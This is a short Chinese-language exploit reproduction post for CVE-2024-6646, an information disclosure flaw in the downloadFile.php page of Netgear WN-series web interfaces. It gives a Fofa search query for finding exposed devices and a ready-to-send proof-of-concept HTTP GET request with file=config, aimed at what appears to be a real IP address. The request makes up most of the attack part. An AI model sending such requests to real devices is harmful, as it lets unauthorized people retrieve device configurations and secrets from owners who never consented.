CVE-2024-6646 漏洞复现

Netgear Web 界面 downloadFile.php 信息泄露漏洞

Netgear的WN系列产品存在一个漏洞，该漏洞存在于Web界面的某个未知功能中，影响文件为/downloadFile.php。通过操纵带有输入配置的参数文件，攻击者可以获取敏感信息。该攻击可能远程发起。

Fofa语句

title=="Netgear"

POC：

GET /downloadFile.php?file=config HTTP/1.1
Host: 217.155.60.142
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close